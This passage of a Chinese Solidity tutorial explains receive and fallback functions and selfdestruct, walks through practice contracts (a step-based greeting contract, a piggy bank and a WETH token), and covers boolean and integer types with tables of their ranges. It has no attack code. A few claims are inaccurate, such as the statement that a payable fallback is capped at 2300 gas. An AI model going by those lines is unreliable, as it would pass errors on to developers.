声明为 payable 之后,其所消耗的 gas 最大量就会被限定在 2300。除了基础的日志输出之外,进行其他操作的余地很小。下面的操作消耗会操作 2300 gas :
写入存储
创建合约
调用消耗大量 gas 的外部函数
发送以太币
扩展阅读 ⚠️: 一个没有 receive 函数的合约,可以作为 coinbase 交易 (又名矿工区块回报 )的接收者或者作为 selfdestruct
的目标来接收以太币。一个合约不能对这种以太币转移做出反应,因此也不能拒绝它们。这是 EVM 在设计时就决定好的,而且 Solidity 无法绕过这个问题。这也意味着 address(this).balance
可以高于合约中实现的一些手工记帐的总和(例如在 receive 函数中更新的累加器记帐)。
receive 和 fallback 共存的调用
注意:这里 fallback 需要是 payable
类型的。如下图:
/**
调用时发送了ETH
|
判断 msg.data 是否为空
/ \
是 否
是否存在 receive fallbak()
/ \
存在 不存在
/ \
receive() fallbak()
*/
总结: 只有 msg.data
为空,并且存在 receive
的时候,才会运行 receive
。
如果不存在 receive
以太函数,payable
的 fallback
函数也可以在纯以太转账的时候执行。但是推荐总是定义一个 receive 函数,而不是定义一个 payable 的 fallback 函数。否则会报警告 ⚠️:Warning: This contract has a payable fallback function, but no receive ether function. Consider adding a receive ether function.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
// 这个合约会保留所有发送给它的以太币,没有办法返还。
contract Demo {
uint256 public x;
uint256 public y;
event Log(string funName, address from, uint256 value, bytes data);
// 纯转账调用这个函数,例如对每个空empty calldata的调用
receive() external payable {
x = 1;
y = msg.value;
emit Log("receive", msg.sender, msg.value, "");
}
// 除了纯转账外,所有的调用都会调用这个函数.
// (因为除了 receive 函数外,没有其他的函数).
// 任何对合约非空calldata 调用会执行回退函数(即使是调用函数附加以太).
fallback() external payable {
x = 2;
y = msg.value;
emit Log("fallback", msg.sender, msg.value, msg.data);
}
function getBalance() external view returns (uint256) {
return address(this).balance;
}
}
输入以太币,然后无参数 calldata 调用
输入以太币,然后参数
0x00
进行 calldata 调用
如果 receive
函数不存在,但是有 payable
的 fallback 回退函数 那么在进行纯以太转账时,fallback 函数会调用.如果两个函数都没有,这个合约就没法通过常规的转账交易接收以太(会抛出异常)。
注意:receive
函数可能只有 2300 gas 可以使用(如,当使用 send
或transfer
时),
⚠️: 一个没有定义 fallback
函数或 receive
函数的合约,直接接收以太币(没有函数调用,使用 send
或 transfer
)会抛出一个异常, 并返还以太币。所以如果你想让你的合约在任何情况下都可以接收以太币,必须实现 receive
函数(使用 payable fallback
函数不再推荐,因为它会让借口混淆)。
selfdestruct:合约自毁
合约代码从区块链上移除的唯一方式是合约在合约地址上的执行自毁操作 selfdestruct
。selfdestruct
作用是 销毁合约,并把余额发送到指定地址类型 Address。
做了两件事:
销毁合约:它使合约变为无效,删除该地址地字节码。
它把合约的所有资金强制发送到目标地址。
如果接受的地址是合约,即使里面没有
fallback
和receive
也会发送过去
除非必要,不建议销毁合约。
如果有人发送以太币到移除的合约,这些以太币可能将永远丢失
如果要禁用合约,可以通过修改某个内部状态让所有函数无法执行,这样也可以达到目的。
即便一个合约的代码中没有显式地调用
selfdestruct
,它仍然有可能通过delegatecall
或callcode
执行自毁操作。
⚠️:即使一个合约被 selfdestruct
删除,它仍然是区块链历史的一部分,区块链的链条中不可能无缘无故消失一个块,这样他们就没办法做校验了。 因此,使用 selfdestruct
与从硬盘上删除数据是不同的。
请注意 selfdestruct
具有从 EVM 继承的一些特性:
接收合约的
receive
函数 不会执行。合约仅在交易结束时才真正被销毁,并且
revert
可能会“撤消”销毁。此外,当前合约内的所有函数都可以被直接调用,包括当前函数。
在 0.5.0 之前, 还有一个
suicide
,它和selfdestruct
语义是一样的。
自我毁灭
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Kill {
uint256 public aaa = 123;
constructor() payable {}
function kill() external{
selfdestruct(payable(msg.sender));
}
function bbb() external pure returns(uint256){
return 1;
}
fallback() external {}
receive() external payable {}
}
先调用
aaa
/bbb
,查看输出值calldata 形式进行转账
kill 销毁合约
查看收到的金额
查看 aaa 的值
通过合约调用毁灭
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Kill {
uint256 public aaa = 123;
constructor() payable {}
function kill() external {
selfdestruct(payable(msg.sender));
}
function bbb() external pure returns(uint256){
return 1;
}
fallback() external {}
receive() external payable {}
}
contract Helper {
// 没有 `fallback` 和 `receive`,正常没办法接受ETH主币
function getBalance() external view returns (uint256) {
return address(this).balance;
}
// kill 后,此时 Helper 余额就会强制收到ETH主币
function kill(Kill _kill) external {
_kill.kill();
}
}
部署 Kill
先调用
Kill.aaa
,查看输出值calldata 形式进行转账,查看余额
部署 Helper
查看
Helper.getBalance
返回值calldata 形式进行转账,此时会失败
调用
Helper.kill
查看
Helper.getBalance
返回值查看
Kill.aaa
的值
实战 1: 同志们好
为了让学习的内容,可以更好的使用,每一章后面都会最少有一个实战练习。当前是第一章,学习的内容比较简单和浅显,所以做一个简单的小联系就可以了。
为此我写了这个阅兵式里同志们好
的场景合约,用于能力自检,相当于加强版的 Hello World。再次提醒,本教程默认读者已经掌握了 Solidity 基本语言的使用方法。这并不是针对初次学习 Solidity 的教程。
同志们好的场景:
领导说“同志们好”,回复“领导好”
领导说“同志们辛苦了”,回复“为人民服务”
合约代码
个人习惯是将代码按照功能进行区域划分,每一个区域使用如下注释标记。
/*
* ========================================
* State Variables
* ========================================
*/
废话不多说,直接上代码:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
/// @title 一个模拟同志们好的简单演示
/// @author Anbang
/// @notice 您只能将此合约用于最基本的模拟演示
/// @dev 本章主要内容的实战练习
/// @custom:experimental 这是实验的合约。
contract HelloComrades {
/*
* ========================================
* State Variables
* ========================================
*/
/// @notice 用于标记当前进度
/// @dev 0:等待领导说"同志们好",
/// @dev 1:等待同志们说"领导好",
/// @dev 2:等待领导说"同志们辛苦了"
/// @dev 3:等待同志们说"为人民服务"
/// @dev 4:等待销毁。
/// @return 当前进度
uint8 public step = 0;
/// @notice 用于标记领导地址
/// @dev 不可变量,需要在构造函数内指定,以后就不能修改了
/// @return 当前领导的地址
address public immutable leader;
/// @notice 用于遇到错误时的无脑复读机式回复
string internal constant UNKNOWN =
unicode"我不知道如何处理它,你找相关部门吧!";
/*
* ========================================
* Events
* ========================================
*/
/// @notice 用于对当前 step 被修改时的信息通知
/// @dev 只要发生 step 修改,都需要抛出此事件
/// @param 当前修改的最新 step
event Step(uint8);
/// @notice 用于对当前合约的金额变动通知
/// @dev 只要发生金额修改,都需要抛出此事件
/// @param tag: 标记内容
/// @param from: 当前地址
/// @param value: 当前发送金额
/// @param data: 当前调用的data内容
event Log(string tag, address from, uint256 value, bytes data);
/*
* ========================================
* Modifier
* ========================================
*/
/// @notice 检查只能领导调用
/// @dev 用于领导专用函数
modifier onlyLeader() {
require(msg.sender == leader, unicode"必须领导才能说");
_;
}
/// @notice 检查只能非领导调用
/// @dev 用于非领导地址检测
modifier notLeader() {
require(
msg.sender != leader,
unicode"不需要领导回答,需要同志们来回答"
);
_;
}
/*
* ========================================
* Errors
* ========================================
*/
/// @notice 自定义的错误,这种注释内容会在错误时显示出来
/// @dev 用于所有未知错误
/// This is a message des info.需要上方空一行,才可以显示出来
error MyError(string msg);
/*
* ========================================
* Constructor
* ========================================
*/
/// @dev 用于领导地址的指定,后续不可修改
constructor(address _leader) {
require(_leader != address(0), "invalid address");
leader = _leader;
}
/*
* ========================================
* Functions
* ========================================
*/
/// @notice 用于领导说"同志们好"
/// @dev 只能在 step 为 0 时调用,只能领导调用,并且只能说"同志们好"
/// @param content: 当前领导说的内容
/// @return 当前调用的状态,true 代表成功
function hello(string calldata content) external onlyLeader returns (bool) {
if (step != 0) {
revert(UNKNOWN);
}
if (!review(content, unicode"同志们好")) {
revert MyError(unicode"必须说:同志们好");
}
step = 1;
emit Step(step);
return true;
}
/// @notice 用于同志们说"领导好"
/// @dev 只能在 step 为 1 时调用,只能非领导调用,并且只能说"领导好"
/// @param content: 当前同志们说的内容
/// @return 当前调用的状态,true 代表成功
function helloRes(string calldata content)
external
notLeader
returns (bool)
{
if (step != 1) {
revert(UNKNOWN);
}
if (!review(content, unicode"领导好")) {
revert MyError(unicode"必须说:领导好");
}
step = 2;
emit Step(step);
return true;
}
/// @notice 用于领导说"同志们辛苦了"
/// @dev 只能在 step 为 2 时调用,只能领导调用,并且只能说"同志们辛苦了",还需给钱
/// @param content: 当前领导说的内容
/// @return 当前调用的状态,true 代表成功
function comfort(string calldata content)
external
payable
onlyLeader
returns (bool)
{
if (step != 2) {
revert(UNKNOWN);
}
if (!review(content, unicode"同志们辛苦了")) {
revert MyError(unicode"必须说:同志们辛苦了");
}
if (msg.value < 2 ether) {
revert MyError(unicode"给钱!!!最少2个以太币");
}
step = 3;
emit Step(step);
emit Log("comfort", msg.sender, msg.value, msg.data);
return true;
}
/// @notice 用于同志们说"为人民服务"
/// @dev 只能在 step 为 3 时调用,只能非领导调用,并且只能说"为人民服务"
/// @param content: 当前同志们说的内容
/// @return 当前调用的状态,true 代表成功
function comfortRes(string calldata content)
external
notLeader
returns (bool)
{
if (step != 3) {
revert(UNKNOWN);
}
if (!review(content, unicode"为人民服务")) {
revert MyError(unicode"必须说:为人民服务");
}
step = 4;
emit Step(step);
return true;
}
/// @notice 用于领导对
/// @dev 只能在 step 为 4 时调用,只能领导调用
/// @return 当前调用的状态,true 代表成功
function destruct() external onlyLeader returns (bool) {
if (step != 4) {
revert(UNKNOWN);
}
emit Log("selfdestruct", msg.sender, address(this).balance, "");
selfdestruct(payable(msg.sender));
return true;
}
/*
* ========================================
* Helper
* ========================================
*/
/// @notice 用于检查调用者说的话
/// @dev 重复检测内容的代码抽出
/// @param content: 当前内容
/// @param correctContent: 正确内容
/// @return 当前调用的状态,true 代表内容相同,通过检测
function review(string calldata content, string memory correctContent)
private
pure
returns(bool){
return keccak256(abi.encodePacked(content)) == keccak256(abi.encodePacked(correctContent));
}
receive() external payable {
emit Log("receive", msg.sender, msg.value, "");
}
fallback() external payable {
emit Log("fallback", msg.sender, msg.value, msg.data);
}
/// @notice 用于获取当前合约内的余额
/// @dev 一个获取当前合约金额的辅助函数
/// @return 当前合约的余额
function getBalance() external view returns (uint256) {
return address(this).balance;
}
}
Remix 部署测试
部署合约
需要输入 Leader 地址作为参数
点击 【leader】 查看信息
点击 【destruct】 进行销毁
此时报错,因为步骤不对
【hello】
输入错的内容
输入同志们好
查看 step 值
【helloRes】
输入错的内容,此时提示,账号不对。
切换账号后输入错的内容,提示必须说:领导好
输入领导好
查看 step 值
【comfort】
输入错的内容,此时提示账号权限不对
切换账号后,输入错的内容,提示必须说:同志们辛苦了
点击【hello】,此时说提示我不知道如何处理它,你找相关部门吧!,因为 step 不对。
输入同志们辛苦了,此时提示必须给钱;(只有给了 2 个以上的以太币,才能说同志们辛苦了。)
我们给 2 个 wei,假装是 2 个 ETH,看能否通过。(结果还是不能通过)
给 2 个以太,并输入同志们辛苦了。此时可以通过了
点击【getBalance】查看合约的余额
查看 step 值
【comfortRes】
点击【helloRes】,此时说提示我不知道如何处理它,你找相关部门吧!,因为 step 不对。
切换账号后,输入错的内容,提示必须说:为人民服务
输入为人民服务
【calldata】调用
输入 1wei ,无参数直接调用;查看交易详情内的 logs,此时是 receive,余额变化多 1wei
输入 2wei,参数使用
0x00
调用,查看交易详情内的 logs,此时是 fallback,余额变化多 2wei
【destruct】调用,注意查看余额变化。
注意查看当前 leader 地址的余额
先使用非 leader 地址触发【destruct】,提示错误
然后是 leader 地址触发。查看交易详情种的 logs
查看 leader 地址/ balance/step,都已经是默认值
触发所有函数,此时函数都可以使用,但是都是默认值。
案例知识点
合约的基本用法
合约的构造函数使用
函数的基本用法
函数中条件判断和错误输出
事件和事件触发
NatSpec 用法演示
自定错误使用和触发,以及结合
NatSpec
抛出错误
fallback
和receive
的使用和不同之处immutable
不可变量的使用constant
常量的使用unicode 字面常量
modifier 使用
keccak256
结合abi.encodePacked
判断字符串是否相同
生成文档
solc --userdoc --devdoc a.sol
实战作业
这个例子中 step,因为只有几个选择,尝试将 step 改为 enum 类型。
实战 2: 存钱罐合约
所有人都可以存钱
ETH
只有合约 owner 才可以取钱
只要取钱,合约就销毁掉
selfdestruct
扩展:支持主币以外的资产
ERC20
ERC721
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Bank {
// 状态变量
address public immutable owner;
// 事件
event Deposit(address _ads, uint256 amount);
event Withdraw(uint256 amount);
// receive
receive() external payable {
emit Deposit(msg.sender, msg.value);
}
// 构造函数
constructor() payable {
owner = msg.sender;
}
// 方法
function withdraw() external {
require(msg.sender == owner, "Not Owner");
emit Withdraw(address(this).balance);
selfdestruct(payable(msg.sender));
}
function getBalance() external view returns (uint256) {
return address(this).balance;
}
}
实战 3: WETH 合约
WETH 是包装 ETH 主币,作为 ERC20 的合约。
标准的 ERC20 合约包括如下几个
3 个查询
balanceOf
: 查询指定地址的 Token 数量allowance
: 查询指定地址对另外一个地址的剩余授权额度totalSupply
: 查询当前合约的 Token 总量
2 个交易
transfer
: 从当前调用者地址发送指定数量的 Token 到指定地址。这是一个写入方法,所以还会抛出一个
Transfer
事件。
transferFrom
: 当向另外一个合约地址存款时,对方合约必须调用 transferFrom 才可以把 Token 拿到它自己的合约中。
2 个事件
Transfer
Approval
1 个授权
approve
: 授权指定地址可以操作调用者的最大 Token 数量。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract WETH {
string public name = "Wrapped Ether";
string public symbol = "WETH";
uint8 public decimals = 18;
event Approval(address indexed src, address indexed delegateAds, uint256 amount);
event Transfer(address indexed src, address indexed toAds, uint256 amount);
event Deposit(address indexed toAds, uint256 amount);
event Withdraw(address indexed src, uint256 amount);
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
function deposit() public payable {
balanceOf[msg.sender] += msg.value;
emit Deposit(msg.sender, msg.value);
}
function withdraw(uint256 amount) public {
require(balanceOf[msg.sender] >= amount);
balanceOf[msg.sender] -= amount;
payable(msg.sender).transfer(amount);
emit Withdraw(msg.sender, amount);
}
function totalSupply() public view returns (uint256) {
return address(this).balance;
}
function approve(address delegateAds, uint256 amount) public returns (bool) {
allowance[msg.sender][delegateAds] = amount;
emit Approval(msg.sender, delegateAds, amount);
return true;
}
function transfer(address toAds, uint256 amount) public returns (bool) {
return transferFrom(msg.sender, toAds, amount);
}
function transferFrom(
address src,
address toAds,
uint256 amount
) public returns (bool) {
require(balanceOf[src] >= amount);
if (src != msg.sender) {
require(allowance[src][msg.sender] >= amount);
allowance[src][msg.sender] -= amount;
}
balanceOf[src] -= amount;
balanceOf[toAds] += amount;
emit Transfer(src, toAds, amount);
return true;
}
fallback() external payable {
deposit();
}
receive() external payable {
deposit();
}
}
ETH 上的 WETH 合约参考: https://cn.etherscan.com/address/0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2#code
问答题
因为区块可以被撤回,编码时候有些需要注意的?
会出现你发起的交易被回滚甚至从区块链中抹除掉的可能。区块链不能保证当前的交易一定包含在下一个区块中。如果你开发的合约有顺序关系,要注意这个特性。合约内的逻辑,不能将某一个块作为依赖。
标记版本号有哪些方法?
^0.8.17
0.8.17
pragma solidity >=0.7.0 <0.9.0;
常用的版权声明有哪些,分别什么区别?
MIT
/BUSL
聊一聊 NatSpec 注释
单行使用
///
开始,多行使用/**
开头以*/
结尾。NatSpec 描述注释的作用非常重要,它是为函数、返回变量等提供丰富的文档。在编写合约的时候,强烈推荐使用NatSpec
为所有的开放接口(只要是在ABI
里呈现的内容)进行完整的注释。可以输出错误,而不消耗 gas
聊一聊存储,内存,栈的内容
存储:每一个地址都有一个持久化的内存,存储是将 256 位字映射到 256 位字的键值存储区。所以数据类型的最大值是
uint256
/int256
/bytes32
,合约只能读写存储区内属于自己的部分。内存:合约会试图为每一次消息调用获取一块被重新擦拭干净的内存实例。所以储存在内存中的数据,在函数执行完以后就会被销毁。内存是线性的,可按字节级寻址,但读的长度被限制为 256 位,而写的长度可以是 8 位或 256 位。
栈:合约的所有计算都在一个被称为栈(stack)的区域执行,栈最大有 1024 个元素,每一个元素长度是 256 bit;所以调用深度被限制为 1024 ,对复杂的操作,推荐使用循环而不是递归。
interface 如何使用
定义一个拥有某个方法的接口,传入地址后,调用地址。
interface AnimalEat { function eat() external returns (string memory); } contract Animal { function test(address _addr) external returns (string memory) { AnimalEat general = AnimalEat(_addr); return general.eat(); } }
string message = "Hello World!";
这种没有明确标注可视范围的情况下,message
的可视范围是什么? 是internal
还是private
?private
变量如何使用以太币单位?
如果想用以太币单位来计算输入参数,你可以使用乘法来转换:
amountEth * 1 ether
receive 和 fallback 共存的调用?
只有 msg.data 为空,并且存在 receive 的时候,才会运行 receive。
receive 和 fallback 区别?
receive 只负责接收主币
调用没有的方法时候执行,因为可以设置 payable,可以接收网络主币。尽管 fallback 可以是 payable 的,但并不建议这么做,声明为 payable 之后,其所消耗的 gas 最大量就会被限定在 2300。
合约没有 receive 和 fallback 可以接受以太币么?
可以接受,可以方法标记 payable 进行转账
聊一聊合约自毁
selfdestruct
。合约代码从区块链上移除的唯一方式是合约在合约地址上的执行自毁操作 selfdestruct 。selfdestruct 作用是 销毁合约,并把余额发送到指定地址类型 Address。
销毁合约:它使合约变为无效,删除该地址地字节码。
它把合约的所有资金强制发送到目标地址。
如果接受的地址是合约,即使里面没有
fallback
和receive
也会发送过去
除非必要,不建议销毁合约。
如果有人发送以太币到移除的合约,这些以太币可能将永远丢失
如果要禁用合约,可以通过修改某个内部状态让所有函数无法执行,这样也可以达到目的。
即便一个合约的代码中没有显式地调用
selfdestruct
,它仍然有可能通过delegatecall
或callcode
执行自毁操作。即使一个合约被
selfdestruct
删除,它仍然是区块链历史的一部分,区块链的链条中不可能无缘无故消失一个块,这样他们就没办法做校验了。 因此,使用selfdestruct
与从硬盘上删除数据是不同的。
合约进行
selfdestruct
后,还可以调用状态变量和函数么?可以调用,但是返回默认值。如果想调用,也可以在存档节点里指定未删除的高度进行调用。
数据
数据是任何编程语言的生产生活资料,离开了数据,编程语言将会变得毫无意义。但是我们并不能把所有的数据都称为一个数据,就好像我们现实生活中会分为人类,动物类,植物类等。Solidity 智能合约的含义就是一些功能和数据的集合,它们是位于以太坊区块链的特定地址上。
Solidity 提供了几种基本类型,并且基本类型可以用来组合出复杂类型。
数据与变量
提到数据,就不可避免的需要牵扯到变量。变量名是数据的在计算中的引用。
uint256 u = 123;
如上是将123
这个 uint8
类型数据,赋值给 u
这个只能赋值uint256
类型数据的变量名(uint8
可以隐式转为uint256
)。后续我们需要使用123
这个数据时,写 u
就可以代表。
uint256 u
中的 uint256
关键字,限制了 u
这个变量名只能赋值uint256
类型数据;在其他弱类型语言中可能存在变量类型取决于数据的情况。但是 Solidity
中不存在这种情况,在变量声明时必须指定变量类型。Solidity 是一种静态强类型的语言,对于常见错误,开发者可以通过编译迅速捕捉到,任何的 Solidity 合约都需要编译和部署的阶段。
隐式转换
如果上面 uint256 u = 123;
改为 uint256 u = "Hello";
,将会收到错误 Type literal_string "Hello" is not implicitly convertible to expected type uint256.
,因为这两种类型不能隐式转换的;
如果上面 uint256 u = 123;
改为 uint256 u = uint8(123);
,就不会有问题,因为uint8
类型可以隐式转换为uint256
类型。后面介绍类型转换的时候会详细的介绍。
总结:
Solidity 是一种静态强类型的语言。
变量类型和需要赋值的数据类型必须必配,或者所赋值的数据可以隐式转换为变量类型。
两种类型的数据
内容
Solidity 按照数据类型可以分为值类型和引用类型。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Demo {
uint256 public u = 123; // 无变化
string public welcome1 = "Hello";
string public welcome2 = "Hello";
function test() external returns(uint256,string memory,string memory){
// 修改值类型
uint256 x = u; // 赋值
x = 1; // 修改
// 修改引用类型
string storage hi1 = welcome1; // 赋值
bytes(hi1)[0] = bytes1("2");
string memory hi2 = welcome2; // 赋值
bytes(hi2)[0] = bytes1("2");
// 返回值
return(x,hi1,hi2);
}
}
值类型: 值类型传值时会将值拷贝一份,传递的是值本身,对其修改时并不会对原来值有影响。
始终按值来传递,当被用作函数参数或者用在赋值语句中时,总会进行值拷贝。
值类型里有两个比较特殊的类型是函数和地址(包括合约),会分为单独的部分介绍。
引用类型: 引用类型进行传递时,传递的是其指针,而引用类型进行传递时可以为值传递,也可以为引用传递。
值类型
Boolean
Integer
uint
int
定长字节数组(固定大小字节数组)
bytes1
-bytes32
Enum:枚举
地址(Address)
合约类型
函数(Function Types)
比较特殊,单独开了一章说明
Boolean 布尔类型
布尔型使用 bool
表示,该类型只有两个值,分别是 true
/false
。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Demo1 {
bool public t = true;
bool public f = false;
}
布尔值除了赋值得到外,还可以通过运算符的计算结果得到。
支持的运算符
包括:
!
逻辑非,==
等于,!=
不等于;&&
逻辑与,||
逻辑或,&&
,||
为短路运算符。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Demo2 {
bool public a = false;
bool public b = !a; // 仅用于布尔值
bool public c = a == b;
bool public d = a != b;
bool public e = a && b;
bool public f = a || b;
}
运算符 ||
和 &&
都遵循同样的短路( short-circuiting )规则。就是说在表达式 f(x) || g(y)
中, 如果 f(x)
的值为 true ,那么 g(y)
就不会被执行,
使用短路规则节省 gas
借助短路规则,可以让合约少执行一些逻辑。
||
如果第一个表达式是true
,则第二个表达式不再执行。(因为两个表达式有一个为 true,结果就为 true,不需要计算第二个表达式就知道结果了)&&
如果第一个表达式是false
,则第二个表达式不再执行。(两个表达式必须都为 true,结果才能 true,如果第一个为 false,不需要计算第二个表达式就知道结果了)
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.16;
contract Demo3 {
// 21488 gas
function testA1() external pure returns (bool) {
uint256 a = 100 - 99;
uint256 b = 100 - 1;
if (a > 50 || b < 50) {
return true;
}
return false;
}
// 21440 gas
function testA2() external pure returns (bool) {
if ((100 - 99) > 50 || (100 - 10) < 50) {
return true;
}
return false;
}
}
本章主要介绍数据类型,后续介绍数据类型的时不再介绍操作符,会专门有一章来总结操作符。
Integer 整数类型
整数类型分为有符号整型,用 int 标示;和无符号整型,用 uint 标示;
int 和 uint:
类型 | 符号名 | 取值 |
---|---|---|
整型 | int8 to int256 | 8 位到 256 位的带符号整型数。 |
uint8 to uint256 | 8 位到 256 位的无符号整型。 | |
int | 有符号整数,int 与 int256 相同。 | |
uint | 无符号整数,uint 和 uint256 是一样的。 | |
定长浮点型 | fixed | 有符号的定长浮点型 |
unfixed | 无符号的定长浮点型 | |
int 是有符号整型,支持 int8 到 int256。
uint 是无符号整型,支持从 uint8 到 uint256。
uint
和int
分别是uint256
和int256
的别名。
属性
对于整型 T 有下面的全局属性可访问:
type(T).min
获取整型 T 的最小值。
type(T).max
获取整型 T 的最大值。
uint 类型
uint 无符号整数,只能表示非负数;包括数字0
;其中 uint256 与 uint 相同,推荐使用 uint256;支持 int8 到 int256,后面的数字是 8 的倍数。
uint8
: 最小值是 0,最大值是2**8-1
uint256
:最小值是 0,最大值是2**256-1
可以使用
type(uint8).max
获取该类型的最大值可以使用
type(uint8).min
获取该类型的最小值
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Data {
// uint
uint256 public u1 = 123;
uint8 public u8Max = type(uint8).max; // 255 => (2**8-1)
uint8 public u8Min = type(uint8).min; // 0
// 115792089237316195423570985008687907853269984665640564039457584007913129639935
uint256 public u256Max = type(uint256).max;
uint256 public u256Min = type(uint256).min; // 0
}
通过代码获取所有 uint
类型和取值范围
通过合约获取具体的最大值范围,最小值类似。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Data {
// uint
uint8 public u008Max = type(uint8).max;
uint16 public u016Max = type(uint16).max;
uint24 public u024Max = type(uint24).max;
uint32 public u032Max = type(uint32).max;
uint40 public u040Max = type(uint40).max;
uint48 public u048Max = type(uint48).max;
uint56 public u056Max = type(uint56).max;
uint64 public u064Max = type(uint64).max;
uint72 public u072Max = type(uint72).max;
uint80 public u080Max = type(uint80).max;
uint88 public u088Max = type(uint88).max;
uint96 public u096Max = type(uint96).max;
uint104 public u104Max = type(uint104).max;
uint112 public u112Max = type(uint112).max;
uint120 public u120Max = type(uint120).max;
uint128 public u128Max = type(uint128).max;
uint136 public u136Max = type(uint136).max;
uint144 public u144Max = type(uint144).max;
uint152 public u152Max = type(uint152).max;
uint160 public u160Max = type(uint160).max;
uint168 public u168Max = type(uint168).max;
uint176 public u176Max = type(uint176).max;
uint184 public u184Max = type(uint184).max;
uint192 public u192Max = type(uint192).max;
uint200 public u200Max = type(uint200).max;
uint208 public u208Max = type(uint208).max;
uint216 public u216Max = type(uint216).max;
uint224 public u224Max = type(uint224).max;
uint232 public u232Max = type(uint232).max;
uint240 public u240Max = type(uint240).max;
uint248 public u248Max = type(uint248).max;
uint256 public u256Max = type(uint256).max;
}
所有 uint 结果如下:
uintN | 小 | 最大值 |
---|---|---|
uint8 | 0 | 255 |
uint16 | 0 | 65535 |
uint24 | 0 | 16777215 |
uint32 | 0 | 4294967295 |
uint40 | 0 | 1099511627775 |
uint48 | 0 | 281474976710655 |
uint56 | 0 | 72057594037927935 |
uint64 | 0 | 18446744073709551615 |
uint72 | 0 | 4722366482869645213695 |
uint80 | 0 | 1208925819614629174706175 |
uint88 | 0 | 309485009821345068724781055 |
uint96 | 0 | 79228162514264337593543950335 |
uint104 | 0 | 20282409603651670423947251286015 |
uint112 | 0 | 5192296858534827628530496329220095 |
uint120 | 0 | 1329227995784915872903807060280344575 |
uint128 | 0 | 340282366920938463463374607431768211455 |
uint136 | 0 | 87112285931760246646623899502532662132735 |
uint144 | 0 | 22300745198530623141535718272648361505980415 |
uint152 | 0 | 5708990770823839524233143877797980545530986495 |
uint160 | 0 | 1461501637330902918203684832716283019655932542975 |
uint168 | 0 | 374144419156711147060143317175368453031918731001855 |
uint176 | 0 | 95780971304118053647396689196894323976171195136475135 |
uint184 | 0 | 24519928653854221733733552434404946937899825954937634815 |
uint192 | 0 | 6277101735386680763835789423207666416102355444464034512895 |
uint200 | 0 | 1606938044258990275541962092341162602522202993782792835301375 |
uint208 | 0 | 411376139330301510538742295639337626245683966408394965837152255 |
uint216 | 0 | 105312291668557186697918027683670432318895095400549111254310977535 |
uint224 | 0 | 26959946667150639794667015087019630673637144422540572481103610249215 |
uint232 | 0 | 6901746346790563787434755862277025452451108972170386555162524223799295 |
uint240 | 0 | 1766847064778384329583297500742918515827483896875618958121606201292619775 |
uint248 | 0 | 452312848583266388373324160190187140051835877600158453279131187530910662655 |
uint256 | 0 | 115792089237316195423570985008687907853269984665640564039457584007913129639935 |
int 类型
int 是有符号整数,其中 int256 与 int 相同,推荐使用 int256; 8 位到 256 位的带符号整型数。8 的倍数。
int8
: 最小值是-(2**8/2)
,最大值是(2**8/2)-1
int8
: 最小值是-128
,最大值是127
int256
: 最小值是-(2**256/2)
,最大值是(2**256/2)-1
可以使用
type(int8).max
获取该类型的最大值可以使用
type(int8).min
获取该类型的最小值
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Data {
// int
int256 public i1 = 123;
int256 public i2 = -123;
int8 public i8Max = type(int8).max; // 127 => (2**8/2)-1
int8 public i8Min = type(int8).min; // -128 => - 2**8/2
// 57896044618658097711785492504343953926634992332820282019728792003956564819967
int256 public i256Max = type(int256).max;
// -57896044618658097711785492504343953926634992332820282019728792003956564819968
int256 public i256Min = type(int256).min;
}
计算 int 的最大值和最小值
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Data {
int8 public i008Max = type(int8).max;
int16 public i016Max = type(int16).max;
int24 public i024Max = type(int24).max;
int32 public i032Max = type(int32).max;
int40 public i040Max = type(int40).max;
int48 public i048Max = type(int48).max;
int56 public i056Max = type(int56).max;
int64 public i064Max = type(int64).max;
int72 public i072Max = type(int72).max;
int80 public i080Max = type(int80).max;
int88 public i088Max = type(int88).max;
int96 public i096Max = type(int96).max;
int104 public i104Max = type(int104).max;
int112 public i112Max = type(int112).max;
int120 public i120Max = type(int120).max;
int128 public i128Max = type(int128).max;
int136 public i136Max = type(int136).max;
int144 public i144Max = type(int144).max;
int152 public i152Max = type(int152).max;
int160 public i160Max = type(int160).max;
int168 public i168Max = type(int168).max;
int176 public i176Max = type(int176).max;
int184 public i184Max = type(int184).max;
int192 public i192Max = type(int192).max;
int200 public i200Max = type(int200).max;
int208 public i208Max = type(int208).max;
int216 public i216Max = type(int216).max;
int224 public i224Max = type(int224).max;
int232 public i232Max = type(int232).max;
int240 public i240Max = type(int240).max;
int248 public i248Max = type(int248).max;
int256 public i256Max = type(int256).max;
}
所有 int 结果如下:
intN | 最小值 | 最大值 |
---|---|---|
int8 | -128 | 127 |
int16 | -32768 | 32767 |
int24 | -8388608 | 8388607 |
int32 | -2147483648 | 2147483647 |
int40 | -549755813888 | 549755813887 |
int48 | -140737488355328 | 140737488355327 |
int56 | -36028797018963968 | 36028797018963967 |
int64 | -9223372036854775808 | 9223372036854775807 |
int72 | -2361183241434822606848 | 2361183241434822606847 |
int80 | -604462909807314587353088 | 604462909807314587353087 |
int88 | -154742504910672534362390528 | 154742504910672534362390527 |
int96 | -39614081257132168796771975168 | 39614081257132168796771975167 |
int104 | -10141204801825835211973625643008 | 10141204801825835211973625643007 |
int112 | -2596148429267413814265248164610048 | 2596148429267413814265248164610047 |
int120 | -664613997892457936451903530140172288 | 664613997892457936451903530140172287 |
int128 | -170141183460469231731687303715884105728 | 170141183460469231731687303715884105727 |
int136 | -43556142965880123323311949751266331066368 | 43556142965880123323311949751266331066367 |
int144 | -11150372599265311570767859136324180752990208 | 11150372599265311570767859136324180752990207 |
